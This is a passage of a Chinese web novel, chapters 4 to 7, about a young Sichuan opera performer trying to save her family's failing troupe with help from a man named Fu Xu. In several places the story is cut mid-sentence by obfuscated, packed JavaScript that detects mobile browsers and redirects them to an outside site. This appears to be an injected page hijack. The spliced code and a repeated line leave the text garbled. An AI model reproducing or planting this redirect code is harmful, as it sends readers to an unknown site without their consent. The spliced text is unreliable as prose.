安漾不假思索:“先试着沟通吧,实在不行就跟她慢慢磨咯。腿长在我身上,我硬要留在这里,她也没有办法。” 她往座椅上瘫倒,全身放松下来,说这话时两眼一闭,疲惫至极。 傅栩打开微信二维码,“我这个月都在景城,需要帮忙可以找我。” “闻景暂时不考虑翻新扩建。”安漾的眼睛睁开一条缝,“你还有什么别的业务吗?” “除了让我上台演一段,别的都行。” 安漾盯着他看了好一会儿,直到他不自在地把头转向窗外。 她突然坐直,往傅栩身边挪了挪。 他侧颜的线条很精致,利落流畅,靠近时得以看清纤长的睫毛,在眼下落着浅浅的阴影。 睫毛精。 她在心里嘟囔一句,却没有在这张脸上沉溺太久,对正在假装看风景的人道:“你说儿豁*。” “什么意思?”傅栩没听懂。 “不重要。”她摆摆手,“你跟我说就好了。” 傅栩扫她一眼,学着她的口音:“儿豁?” 她犹嫌不足:“你语气坚定一点!” “儿豁。” 安漾终于满意了,仿佛得到了什么可靠的保证,美滋滋掏出手机加好友。 “我打从第一眼见到你,就觉得你肯定是个大好人。” 傅栩莫名其妙被发了张好人卡,低头通过她的好友申请,“真的假的?” “保真。”安漾单手举起发誓,“傅栩为什么愿意帮我?因为他善。只要他愿意,我随时可以拥护他为新的乐山大佛......” “需要我提醒你吗?”他似笑非笑地看着她: “你最近一次发誓是在昨天晚上,说要远离邪恶的玉米,然后当着我的面把邪恶势力吃得干干净净。” 安漾的表情垮下来,但傅栩还没说完,他把手机移到她面前,“而且,这是什么意思?” 屏幕上是她今天早上发的朋友圈: 【小羊: 嫌弃猫耳头盔的人,他的一生是没品的,无趣的,黯淡无光的,不知好歹的......】 傅栩今早刚把头盔还给她。 她抢过去咔嚓咔嚓围着一顿拍照,他到现在才知道原因。 安漾一时语塞,赶紧把这条朋友圈删掉,“我有眼不识泰山。” 背后吐槽被抓个现行,她尴尬得想要跳车逃跑,好在终于抵达医院。 江奶奶今天的精神好,两个人到病房时,她正在窗边听戏。 “今天演得怎么样?”江奶奶看着安漾长大,打心底里喜欢这个小姑娘,一见她来了,高兴得合不拢嘴。 安漾到江奶奶身边坐下,“今天换我妈来演了。” 老人蹙眉。 她知道安漾对这一场期待已久,临时被替换,这滋味必定不好受。 “我呢,就等你好了再演,到时候你就能来现场看了。”安漾读出她担忧的神色,反倒安慰起她来了。 “其实我原本在剧场自己唱了一段,想带来给你看的。”她说着,瞟了一眼旁边的傅栩。 “怪我,我没录上。” 他承认错误的速度太快,听起来甚至底气十足。 安漾嘴角一抽,他还有理了? 江奶奶被两个小辈逗笑,“没事,以后机会还多着呢。等你去了省剧团,可以在更大的舞台上演。” 安漾正愁不知道从何说起自己的决定,听她主动提起这事,酝酿了一会儿才开口:“江奶奶,我打算留在闻景。” “我妈跟我说过闻景的事了。”她的语意坚决:“我从小就在闻景长大,不想眼睁睁看着它倒闭。” 江奶奶的神色从意外转为欣慰,声音温柔又和缓:“漾漾,我在闻景演了一辈子,看着观众从多变少。你愿意站出来,我很高兴。” 见她不似任姿一样决绝,安漾在心里松了口气。 “但是漾漾,你还年轻,该去更大的平台。”江奶奶顿了顿,“留在闻景,你以后还要一个人面对很多问题。” “而且,我想任姿也不会同意吧?” 如果说任姿的态度是海啸,那么江奶奶就是河流,看似温柔,却在不知不觉间淹没她。 安漾低着头,被问得不知所措。 “不是一个人。”傅栩淡淡道:“我会帮她。” 安漾用余光看向身边的人,他这话说得云淡风轻,像是飘在河流上的浮木,把她捞起来。 “你怎么帮她?”江奶奶抬眼注视着他: “这不是嘴皮子一碰就能成的事,你工作那么忙,还要回明京。等你回去了,这些事还不得压在漾漾一个人身上?” “我暂时不会回去。”傅栩面色沉静,“起码最近这一个月,我会留在景城照顾你,也是帮她。” “我知道闻景对你很重要,我会和安漾一起帮你保住它。” 江奶奶沉默。 滴斗中的药水滴落,一滴,两滴,她的眼角有些湿润了,隔了很久才说出了一声好。 两人等到江奶奶午睡下才离开。 安漾订了一家招牌很响的川菜馆,就在医院附近,说是要庆祝她和傅栩达成合作。 只是每端上一道菜,傅栩的眉头就锁紧一分。 安漾觉得好笑,伸出食指点点自己的眉心,朝他示意,“你再这样皱下去,熨斗都熨不平了。” 傅栩跟着她的动作,下意识默默紧皱的眉头,“你平时都吃这么辣?” 他的眼神落在刚上桌的毛血旺上,乍一看红彤彤的一片,热油一炝,辣椒的香味让人胃口大开。 此处的人特指安漾。 傅栩被呛得想咳嗽。 “我纯血四川人好吧。”她看得出来傅栩吃不惯,又追加了几道清淡点的菜。 “你明京的工作真的没关系吗?” 今天他提出要帮忙时,安漾光顾着高兴了。 毕竟在这件事上,傅栩是第一个和她统一战线的人。 “不让闻景倒闭”这话说着轻松,但她心里根本没底。有他在,起码她不会那么心虚。 但刚才经过江奶奶一提,她才意识到有不妥。她只当傅栩帮她是因为江奶奶的缘故,可如果要因此影响他的工作,她是在不想欠他这么大一个人情。 “没事。”傅栩夹了一块甜皮鸭,“我工作时间很自由。” 她暂且放心下来,筷子伸进油汪汪的碗里,捞起一片毛肚。 “毕竟华悦也不是每天都有水泥给我打。” 她额角一跳,裹着红油的毛肚也跟着落在桌面上。 安漾看看它,又看看傅栩,未出口的话化作一声叹息:“以后闻景要扩建我一定找你。” 他嘴角微挑,“那就静候你把剧团做大做强。” 这话安漾爱听,她眼睛一弯,笑着说谢谢。 说完又热情地安利起自己面前的这盆毛血旺,“你尝尝,这是这家店的招牌菜。” 傅栩拿筷子的手一僵,悬在菜前犹豫了一会儿,然后艰难地夹起一块鸭血。 “向好怎么和任阿姨说了吗?” 他依旧对这菜有些抗拒,试图转移她的注意力。 “晓之以理动之以情,实在不行就抱着她的大腿哭着求她。” 安漾了解她妈妈,嘴硬心软。小时候只要她嘴巴一撇,眼泪都不用真的掉下来,任姿就已经心疼得不行了。 傅栩面露质疑。 他亲眼见过任姿的态度有多坚决,因而不觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110807|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这点小把戏就能搞定。 “先别说了,你尝一下。”毛血旺激推已经等不及了,催促道。 傅栩眼见没的躲,只能硬着头皮吃一口。 辣味在舌尖蔓延开,带着微微的痛感。 他强装淡定地抬头,尽量不让自己被辣得太明显。 安漾观察着他的表情,倒了杯水给他,“怎么样?” “还好。”他的舌头快烧起来了,但不忍心辜负她期待的眼神。 “别装了,你脸都红了。”安漾无奈,手往上一指,“总不能是听这个听得脸红吧。” 餐厅里正在播一首复古蒸汽波,轻柔梦幻。 安漾很喜欢这首歌,上学那会儿单曲循环过很久。 傅栩刚拿起水杯,经她提醒才注意到这里正在放的音乐。 “我很喜欢这首歌。”她打开音乐APP,给他展示自己的播放记录,“你看,我听过很多遍。” 屏幕上,名为《玄兔》的歌播放次数高居首位,正是现在餐厅里播放的这首。 傅栩的眸底闪过异样的光,他仰头喝水,再看她时,已经将那情绪隐匿。 “你喜欢就好。”他低声道。 - 任姿这晚回家时已经是深夜。 安漾等她等得快睡着了,被外面的动静吵醒,打起精神走出卧室,给晚归的任姿倒了杯水,“怎么这么晚才回来?” 任姿反将她一军,“怎么这么晚还不睡?” 她们都默契地没有再提白天的事。 安漾殷勤地上前给人捏捏肩,“我担心你嘛,你都没回来,我怎么睡得着?” 任姿故作嫌弃地拍开她,面上却是笑着的。 “而且我有事想和你商量。” 图穷匕见了。 任姿斜眼打量着她,从她小心翼翼的模样就能推测出意图。 “如果是闻景的事,那就面谈。” “别啊。”安漾急了,肩膀也不接着捏,坐在任姿身边,“我们先聊一块钱的。” 她提前在手机上打了草稿,又在回家前和傅栩演练了好几遍。 从自己从小崇拜任姿说到想和她一同扛起剧团,又从几代人的心血扯到自己对闻景的感情。 她上学写作文的时候都没这么讲究过。 “总之,这是我认真考虑之后的决定,希望妈妈你能支持我。” 很好,这标准的总分总结构,她很满意。 任姿听她总结完毕,站起来,“一块钱聊完了是吧?” 安漾看着任姿的背影,这情况和她先前预想的不一样。 按照她的展开,任姿应该被她的发言深深打动,当场决定要她留在闻景。 最好明天再让她来演一场《人间好》。 难道是她表现得还不够坚定? “妈妈。”她叫住任姿,一字一句地说道:“不管你同不同意,从明天开始,我都会按时去闻景上班。” “我知道了。”任姿只留给她一个背影。 安漾心里的大石头终于落地,给傅栩发去消息: 小羊:【我妈好像同意了。】 小羊:【请叫我金牌演说家。】 傅栩发来一个鼓掌的emoji。 小羊:【我明天早上先去闻景,再了解一下情况。】 小羊:【你来吗?】 F:【剧场见。】 她心情好,扔下手机回床上,翻来覆去怎么也睡不着,戴上耳机播放《玄兔》,良久才有了点困意。 第二天准时被闹钟唤醒,安漾整理完毕,准备去客厅吃早餐。 今天是正式加入闻景的第一天。 她压下门把手。 奇怪,拧不动。 她弯下身子,视线和门把手齐平,带了些力气又拧一边,还是不行。 在门口捣鼓许久,安漾终于放弃,打开手机要给老安发信息求救,却看见任姿头像的右上角有一个小红点。 任姿:【给我老实在房间里待着。】 她倒回床上。 这算什么? 囚.禁play绿色亲情版? 5. 第五章 等安漾再睁开眼的时候,床头的手机正在震个不停。 昨晚以为自己成功说服了任姿,安漾兴奋得死活睡不着觉,天将亮才合眼。 本就睡眠不足,今早又被锁在房间里,她往床上一栽,眼皮紧接着就开始打架。 被震动声吵醒,她翻了个身,睡眼朦胧地摸到手机,刚才还在疯狂叫唤的电话已经挂断了。 聊天界面上留着傅栩的一连串未接来电,以及十几个【?】。 她揉揉眼睛,正打算回复,电话又打过来了。 “你在哪儿?”男人沉声,语气里藏着些许不满,像一座即将喷发的火山。 她把手机拿到面前看了一下时间,已经快要十一点了。 黑体加粗的数字跃入眼帘,安漾瞬间清醒,猛地从床上坐起来,“抱歉,我睡着了。” “所以你还在家里?”傅栩的声音更低了。 昨天她还信誓旦旦地说要留在闻景,结果这会儿还在床上刚醒。 倒是他,起个大早来剧团生怕迟到,挤在一堆老头老太太中间,一场戏都快听完了。 剧场里的锣鼓声震耳欲聋,他从侧门离开,耳边总算清净点,“我皇帝不急太监急。” “你怎么生起气来连自己都骂?”安漾推开卧室的窗户。 冷空气迎面袭来,她混沌的大脑被吹得清醒了点,转回正题:“你知道囚.禁play吗?” 傅栩愣住,“你熬夜看小说?” “我被我妈关起来了。”她扶额,接着说道:“我今早起来,发现她从外面把我卧室门给锁了。” 安静了一会儿,安漾半个身子趴在窗沿,望着窗外的景色喃喃道:“傅栩......” 她刚睡醒不久,声音还有点黏糊糊的,夹杂着细微的电流声,挠得人心里发痒。 他耳朵似乎被烫了一下,听出她的情绪不对劲,一大早被放鸽子的怒意也烟消云散了。 妥协一般叹了口气,傅栩远远地看向正在台上的任姿,帮她想办法:“等会儿我帮你......” “你说,我从这棵歪脖子树上爬下去,怎么样?” 出口的话被打断,傅栩有点怀疑自己的耳朵,“你说什么?” “我家住二楼,卧室窗外正好有棵歪脖子树。”她说着,伸手去摸树上金黄的叶子。 只轻轻一碰,树叶就飘荡着落地。安漾等那片叶子消失在视线,说:“我从这棵树上跳下去找你。” 傅栩捏捏眉心,很难想象她是在怎样的精神状态下说出这番话的。 沉默半晌,他开口:“看来我没说错,你备考压力确实很大。” “傅栩!” 在安漾彻底炸毛之前,傅栩挂掉了电话,留下的最后一句话是“等着我来捞你”。 通话结束,他思来想去还是不放心,又紧跟着发来一条消息。 F:【不要爬树。】 她反手发过去一个吗喽鞠躬的表情包:【让您担心了,私密吗喽。】 但安漾从来就不是那种安安生生等人来救的性格。 小时候看《莴苣公主》,她就一直想不通,为什么公主不能直接把发尾绑在柱子上跳下去,非得要王子扯着她的头发爬上来。 所以她决定自己再想想办法,给她爸老安发微信卖惨: 【好饿啊爸,求开门吃饭。】 老安大抵早就和任姿串通好了,压根不理睬她。 任姿那边倒是很快给了响应:【别找你爸,没用。】 安漾坐在窗台上,后背被窗框硌得生疼。 她调整了一下坐姿,干脆发消息轰炸唯一理会她的任姿女士:【妈妈你从哪里学的这招?】 【强制囚.禁不可取。】 【少看点总裁文。】 任姿恼了:【再发拉黑。】 她终于老实了,这下只能等傅栩的消息。 F:【任阿姨刚演完,我和她聊聊。】 看见他的微信弹出来,安漾来了精神:【躁候佳音。】 今天的天气很好,是景城降温后难得的晴天,阳光晒在身上暖暖的很舒服,安漾索性坐在窗台上等。 只是都快到中午了,傅栩都没有再发消息过来。 她担心傅栩反水,一边迫切地想询问情况,一边又担心她的消息会影响他和任姿长谈。 她有点不耐烦了,把手机扔到床上,一只手伸出窗外,轻轻压了一下这棵歪脖子树的枝干,在心里估算它的承受能力。 她不算重,最近因为节食的缘故还瘦了很多。 要想通过这根枝干逃跑也不是完全没有可能,只要她连人带盒瘦到五斤就行。 手机有新消息进来,但她还在沉迷于计算自己的逃跑路线,顾不上看。 等到听见钥匙转动锁孔的声音,她人都还坐在窗沿,一只手搭在树枝上,就这样和开门进来的任姿四目相对。 “你不演川剧改行演杂技?” 安漾听见任姿的声音,还没看清她身后跟着的人,就被一把拉下来。 突然落地失去平衡,安漾脚下没站稳,弯着腰直直撞向那人的小腹。 头顶传来一声闷哼,她身子一僵,抬头看见傅栩吃痛的表情。 “你没事吧?”她赶紧站直。 “你没事吧?”任姿瞪了她一眼,明明和她的话一字不差,意思却天差地别,“你这是在跟我闹哪样?以死明志?” 任姿是真的生气了。 她刚走到楼下就看见谁家窗台上坐着个人,正想着是谁家的倒霉孩子,身后的傅栩突然跑起来了。 她还觉得奇怪,走近一看,原来那倒霉孩子是自家的,吓得她抬腿就往家里跑。 好在安漾虽然缺心眼,但从来没想过寻短见,这会儿乖乖低头挨骂,任姿说什么是什么。 “别的我也就不说你了,窗台就这点宽,你要是没坐稳栽下去了怎么办?” 她“是是是”地应着,用胳膊肘捅了傅栩一下,想让他帮忙转移火力。 傅栩和她对视一眼,若无其事地移开视线,还默不作声地往旁边退了点。 安漾:? 没得到他的回应,这点小动作却全被任姿看了去,“你别想着要小傅帮你说话。” 这就小傅了?他还挺会跟人套近乎的。 安漾“哦”了一声,埋头准备好迎接一场腥风血雨,结果只是被轻轻戳了一下额头。 任姿看她这副模样,拉长叹了一口气:“你这样,我怎么放心把闻景交给你?” “是是是。”她刚敷衍着应和完,突然咂摸过味来,“啊?” - 安漾在餐桌旁正襟危坐,紧张得像是上学那会儿被老师叫去办公室。 “你怎么跟我妈说的?”她压低了声音,做贼似的。 傅栩坐在她旁边,懒散地靠在椅背上,睫毛微垂,不知道有没有听她讲话。 很难想象谁才是这个家里的客人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110808|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的回答还没出口,被手机铃声打断。傅栩瞥了一眼备注,对她指指阳台,出去接电话了。 任姿这边忙完,在餐桌的另一侧坐下。 她看向安漾,女儿的眉眼间藏着自己年轻时的影子。 她过去也曾放弃省剧团的资格,怀着一腔热血加入闻景。但日子越长,她就越发体会到其中的艰辛。 偶尔几个失眠的夜晚,任姿也会在床上翻来覆去,思考自己当初的决定是否正确。 她只是不希望安漾和她陷入同样的怀疑。 “但我好像忘了一件事。”任姿释然一笑:“你是我的女儿,身上流着我的血,当然也会做出和我同样的选择。” “但是你也没有真的后悔吧?”安漾问。 “当然不。”任姿否认得很干脆。 “我也不会后悔的。”她笑得狡黠,“任团长,请多指教。” 傅栩回到桌前时,两人之间已经一团和气了。 安漾在桌子的掩护下冲他竖了个大拇指,她没想到傅栩这人虽然平时说话不着调,一到关键时刻居然这么靠谱。 “小傅,之后的事需要你多帮帮她。她才刚毕业,社会阅历不足。”任姿对傅栩的态度很好,客气却不乏亲切。 “好的。” 安漾偷偷瞄他。 平心而论,傅栩只要不开口说话,大部分时间看起来都很稳重,人模狗样的,也难怪任姿待见他。 小部分时间,特指他戴着猫耳头盔,坐在她的摩托车后座的时候。 “安漾。”任姿叫她的名字,“我已经做出了很大的让步,也希望你遵守约定。” “明年春节前,如果闻景还是继续亏损,你就全心全意准备省剧团下一次面试。” 她的思绪从猫耳头盔上拉回来,任姿的话已经变成了她听不懂的样子。 安漾心里一紧,她刚才漏听了什么重要内容吗? 她什么时候跟任姿有的这个约定,她本人怎么完全没有印象? 她什么时候跟任姿有的这个约定,她本人怎么不知道? 谈话结束,任姿本想留下傅栩吃饭,但他推说要去医院陪护,任姿也只好作罢。 安漾借口送他,把他拉到单元楼门口,“那个什么约定,是你跟我妈提的?” “是。”他承认,“这已经是代价最小的办法了,毕竟我不能像你一样抱着她的大腿求她。” 安漾当然希望闻景快点扭亏为盈,但现在距离春节已经不剩多长时间了。她没什么别的本事,从小到大就只擅长唱川剧,要让她靠这个撑起闻景,估计得从现在一刻不停地唱到年尾。 哪怕是牛马也是需要休息的。 她前脚刚夸完傅栩靠谱,后脚他就替她给任姿画了这么大个饼。 安漾痛心疾首,“我连闻景的情况都还没摸清楚,你是不是太乐观了点?” “不是乐观。”他这话说得轻飘飘的,却有着十成十的信服力,“安漾,这对你来说不是什么难事。” “何况有我在。”见她垂头丧气,傅栩抬手把她掉到额前的碎发捋到后面,“不管你做成什么样子,我都会帮你兜底。” “你能收购闻景?” 他没有正面回答,低头在手机上给安漾转了六百块钱。 “这是什么,定金吗?”她看向傅栩,“有点少。” “不是。”傅栩非常诚恳:“我是让你用这笔钱去买本刮刮乐,会比我收购闻景来得实在。” 6. 第六章 安漾留在闻景的事就算暂时敲定了,为表感谢,她事后写了两百字彩虹屁来夸傅栩话术高明。 但这话术似乎有点高明过头了。 她只是想留在闻景当个普通演员,任姿却要把团长这个位置交给她来坐。 好在她在闻景的生活渐渐步入了正轨,每天按时去排练和演出,跟在任姿身后学习处理剧团的大小事宜,空闲时间就在院子里发发呆。 她没有忘记和任姿的约定,但要在这短短几个月里就让剧团扭亏为盈,她光是想想就头皮发麻。 刚演完《白蛇传》,安漾下台前看了看观众席稀稀拉拉的人,突然怀疑这个约定是傅栩和任姿的阴谋。 为了让她死了留在闻景这条心。 剧团的观众本来就不多,又都是老人。最近越来越冷了,愿意来听戏的人也少了很多。 她穿好提前放在后台的外套,穿过冷风回到化妆间。 手在温暖的室内渐渐回温,她给傅栩发去信息,表达了自己刚才的那番质疑。 等换好常服,那边才回复。 F:【......】 她和傅栩最近都没见面。 他在医院陪床,偶尔她发消息问起江奶奶的情况,他总是答得含糊。 老人的康复期总是要长一些,既然他不愿意多说,安漾也不再追问,只等那天有空了再去医院探望。 剧团的院子里栽着几棵树,中间一大块空地边上摆着桌椅,常有人在这里休息。 “欸,小安!”见安漾出来,剧团里的老演员叫她。 这位演员的年纪比她妈妈任姿还大点,是安漾爷爷的徒弟,演起戏来却丝毫不含糊,翻跟头、耍棍样样轻松自如。 其实不只是他,闻景的其他演员几乎都和任姿年纪相仿,安漾见了都得老老实实叫声叔叔阿姨。 “怎么了刘叔?”她听见声音,退回到他旁边。 “你帮我看看这个东西,怎么打赏?” 刘叔戴着一副老花镜,把手机拿得老远,眯着眼睛研究着屏幕上花花绿绿的图标。 安漾坐在他身边,接过手机一看,是一个讲评书的直播间。 老先生把醒木往桌山一拍,“就在这十万火急的时刻......” “我想先向大家推荐一款枕头。这人上了年纪啊,就会面临睡眠问题......” 老先生话锋一转,弯腰从椅子边拿出一个枕头,举在镜头前开始讲解。 安漾和刘叔面面相觑,刘叔率先“嘁”了一声:“听他讲了那么久,本来觉得他讲得挺好,结果还是逃不脱带货。” 她失笑,看着把手机扔桌上的刘叔,“你经常看直播吗?” “有空就看看。”刘叔瞄了一眼还在滔滔不绝讲解产品的老先生,颇有些恨铁不成钢的意思: “这家伙一开始还在好好讲评书,怎么现在也跟着那些主播一样带货了?” “人都是要吃饭的嘛。”她安抚道。 刘叔不屑地退出,点进了另一个评书直播间。 安漾跟在旁边看了一会儿,这位说书先生虽然年纪不大,但讲得绘声绘色,丝毫不熟刚才的带货主播。 刘叔在她的指导下充值成功,给直播间打赏了两束鲜花,引得主播连声感谢。 “现在就是好啊,在手机面前演演就能挣到钱。”主播的答谢词不要钱似的往外蹦,刘叔听得身心舒畅,靠在躺椅上感慨道。 安漾看了一自己的手机,老安在催她回家吃晚饭。 她正想回复,听见刘叔的话,打字的手停顿片刻。 对啊,现在演出方式多得是,评书可以直播,川剧应该也可以。 她只回复让老安等等,问一旁安逸躺平的刘叔:“刘叔,你想不想播?” “我播什么?”他一摆手,“我年纪大了,不会搞这些,你们年轻人玩去吧。” “咱们一起播,就每天演出的时候,把设备架在剧场里,线上线下一起演出。” 她越说越觉得这法子可行,但刘叔只是笑着摇摇手,没有表态。 安漾在心里琢磨了一会儿,把这想法告诉了傅栩。 那边很快发来消息:【在剧团吗?】 安漾没想到他回得这么快:【在的。】 F:【要来看吗?】 接着发来一张音乐剧的海报,女演员逆光站在舞台中央,只能看清一个凹凸有致的身形。 她回了句好,起身去骑车。 傅栩和她约好时间在剧院门口见,她到时还有一会儿。 外面刮着风,冷飕飕的从她衣领钻进去。 安漾缩了缩脖子,环视一圈,没见着傅栩的影子,干脆拐进对面的便利店。 小羊:【太冷了,我去其他地方待会儿,你到了告诉我。】 消息发出,她从暖柜里拿了一瓶薏米水去结账。 “对不起。”寂静的便利店里,只偶尔有迎客铃响起,角落突兀的女声带着哽咽。 安漾嗅到了八卦的味道,下意识回头,看见了声音的主人。 女人长相温婉大方,眼圈发红。 但是她对面的那个人,看背影怎么有点像傅栩? “没事。”与她相对而坐的男人声音很平静,安漾听得熟悉。 是傅栩。 这是什么,分手现场? 她付了钱,蹑手蹑脚地在傅栩身后的空桌坐下。 这瓜她非吃上不可。 “这个就交给你了,实在抱歉,到现在还要麻烦你。” 桌面摩擦的响动细微,但在安静的便利店里格外清晰。 安漾歪了歪身子,想看清对面的女人到底给了他什么东西,但被傅栩高大的身躯挡住,什么都看不见。 “演出顺利。”他说。 女人缓缓起身,从安漾身边经过。 她一路目送她离开便利店,穿过马路,身影消失在了剧院门口。 等安漾的注意力回笼时,傅栩已经坐在对面了。 她有种吃瓜被正主当场抓住的尴尬,迎着头皮喝了一口温热的薏米水,眼神在便利店里四处飘荡。 人在尴尬的时候会给自己找很多事做。 她不说话,傅栩也这样静静地看着她。 终于,安漾先受不了了,挤出一个笑:“好巧啊,我刚想发消息告诉你我在这里。” 她偷偷挪眼,看见傅栩手上拿着一个方形的小绒盒。 这是戒指? 所以他刚才是求婚失败了? 安漾鼓起勇气又看了他一眼。 几天不见,傅栩脸上的疲惫又加深几分,眼下还落着青黑,看起来憔悴了许多。 但这人是真的坐得住啊,都求婚失败了,脸上还能这么云淡风轻。 傅栩的嘴角扯了扯,“我在你进来之前就看见你了。” 她本想假装自己没看见刚才的事,但从他的态度来看,好像也没什么可避讳的了。 秉持着吃瓜就要吃明白的原则,安漾果断发问:“刚才那位是?” 他的面上还是看不出一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110809|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求婚失败的伤感,不动声色地把绒盒装进大衣口袋,“老朋友而已,走吧。” 嗯嗯嗯,安漾在心里点头,她都懂,爱了很久的朋友。 傅栩今天带她来看的是一场名为《钴蓝》的音乐剧。 她很少来听音乐剧,但当台上的女主角从阴影中缓缓走出来时,安漾愣住了。 是刚才在便利店里的女人。 女主角穿一袭钴蓝色的长裙,灯光落在身上像是镶了一层金边,歌声充满力量感,和刚才在便利店时泫然欲泣的模样判若两人。 安漾的余光瞥向傅栩,他神色如常,看不出丝毫别的情绪。 她试图从他的脸上捕捉到一点变化,但直到演出结束也见着。 演员谢幕,观众陆续离场,傅栩叫住正欲走向出口的她。 “去后台打声招呼。” 剧院的后台比闻景要气派太多,演员们三三两两聚在一起拍照,庆祝演出成功。 “这家制作公司最近在尝试直播,今天这场是试水,你可以先了解一下。”傅栩说着,敲了敲休息室的门。 来开门的是《钴蓝》的女主角。 “你好,宁知遥。”她还穿着那条长裙,只是褪去舞台的打光,整个人看起来柔和了许多。 “安漾。” 安漾和人握手,她现在大脑一团浆糊,这个局势已经到了她无法理解的程度。 - 宁知遥和她介绍了很多,从剧院直播要用到的设备到观众的接受度。 安漾对要做的事有了底,打算回去再考虑一下直播这条路子。 毕竟如果可以免费看直播,那么愿意来线下付费观看的观众就会减少。 闻景的观众本就不多,要冒的风险比这场音乐剧所面临的更大。 离开剧院已经不早了,安漾带傅栩到车旁,从侧包拿出一个新的头盔给他。 “送你的。” 猫耳头盔固然可爱,但配上傅栩不情不愿的表情,简直是暴殄天物。 为了感谢他愿意帮忙,安漾前几天特地挑了一个新头盔作为礼物。 这是一个黑色的全盔,简洁但不失设计感,侧面的暗纹低调又精致。 “谢谢你帮我。”她说。 傅栩挑眉,显然没想到她突然良心发现了。 “我本来觉得你只是担心闻景倒闭了江奶奶会难过,才顺便帮我,没想到你做了这么大牺牲。” 安漾越说越觉得,这一个头盔完全不足以弥补他感情上受到的伤害。 虽然傅栩不说,面上也没表现出来,但刚才她都注意到了。 在后台和宁知遥说话的时候,傅栩全程都很安静,大概已经难过到开不了口吧。 “我牺牲什么了?”傅栩抬头,对上她一副“你别装了我都懂”的表情。 他突然觉得这头盔有点烫手,安漾该不会背着他捅了什么天大的篓子等着他解决吧...... 否则很难解释她为什么突然良心发现送礼物给他,还发表这段莫名其妙的谢词。 “求婚被拒都不忘搞事业,有这种精神,你以后做什么都会成功的。”安漾拍拍他的肩膀安慰道。 夜晚的冷风拂过,傅栩一时难以辨别自己失控的五官是被风吹麻了,还是被安漾的话给弄懵了。 “这点打击不算什么,以后我帮你兜底。”她学着傅栩那天的语气说。 傅栩想起大衣口袋里的戒指,终于有点明白了她的意思。 “那我求婚失败的事,你想怎么帮我兜底?” 7. 第七章 安漾抬眼,注意到他的嘴角噙着笑意,心里猛然一沉。 还笑,他这个年纪怎么笑得出来的! 她脑子里有一连串的猜测浮现,甚至开始担心傅栩是不是求婚失败被打击到精神失常了。 不要啊,她振兴闻景的大计还没开始,合作伙伴就疯了。 “你别难过,我帮你想想办法就是了。” 安漾走上前,伸手想摸摸他的头以示安慰,但碍于身高,最后只能退而求其次,拍拍他圈在怀里的头盔。 省剧院的地理位置优越,距离城中很近。 尽管时间已经不算早,但周边依旧人来人往灯火通明。 傅栩背光站在她面前,身后是霓虹与人潮,他被安漾的一连串操作搞得云里雾里,在昏暗的光线中好整以暇地望着她。 安漾有些为难地咬着嘴唇,心里先飘过了十几个交友网站的名字,又回忆了一遍剧场里哪些叔叔阿姨家的女儿和傅栩差不多年纪。 好不容易有了点眉目,一抬头看见傅栩的脸,她又马上摇摇头。 难搞。 “怎么了?”傅栩看她冥思苦想一脸深沉,问。 “剧团里有很多叔叔阿姨的女儿,和你差不多的年纪。” 她的话一顿,有些嫌弃地看了他一眼,“但是我实在不忍心把你放出去祸害人家。” “你这张嘴,开局就能把人气走,谁受得了你?”说到这里,安漾自言自语般:“你要是个哑巴多好。” “你不就受得了吗?” 傅栩朝她倾下身子,原本沐在阴影里的五官在她面前放大,逐渐变得清晰。 他黑亮的眸子里落着点点的光,夜里的风刮得正劲,他身上好闻的薄荷味随着风铺天盖地涌向她,笑意从嘴角攀上眼尾与眉梢。 说这话时,他的声音低沉,尾调却微微上扬。 安漾正心烦着,没好气地一掌盖在他的脸上,把他推回去,“把你毒哑了扔进相亲市场都算是加分项。” 她现在正忙着为他的终身大事担心,他居然还有心思开玩笑。 温热的气息落在她掌心,安漾收回手,嘟囔道:“皇帝不急太监急。” “风水轮流转。”傅栩双手抱胸,斜睨她一眼,“轮到你当太监了。” 安漾:? “你能闭嘴吗?” 她现在只想穿越回几分钟以前,把给他送头盔的自己拦下来,再抽两个耳光让自己清醒一点,看看他这副嘴脸。 算了,安漾在心里劝服自己。 看在他还要帮自己盘活闻景的份上,她选择大度地原谅他。 脑中终于有了一个合适的方法,她跨上车,朝傅栩点点下巴:“上车。” “回去了?”他勾唇,“不帮我解决情感问题了?” “不是。”她理了理被风吹乱的头发,自己戴好头盔,“现在就去帮你解决。” 傅栩抱着刚到手的新头盔,有些犹豫地看着摩托车后座那个上翘的弧线,前几天的艰辛还历历在目。 他个子本来就高,坐上去得努力地把腿收起来,又要和前面的安漾保持一定距离,不好贴得太近,还得小心坐稳别掉下去了。 坐车比骑车还累。 但安漾都已经做到这个份上了,他低头看看手里崭新的头盔。 好吧,这次起码比上次好,至少他不用戴猫耳头盔了。 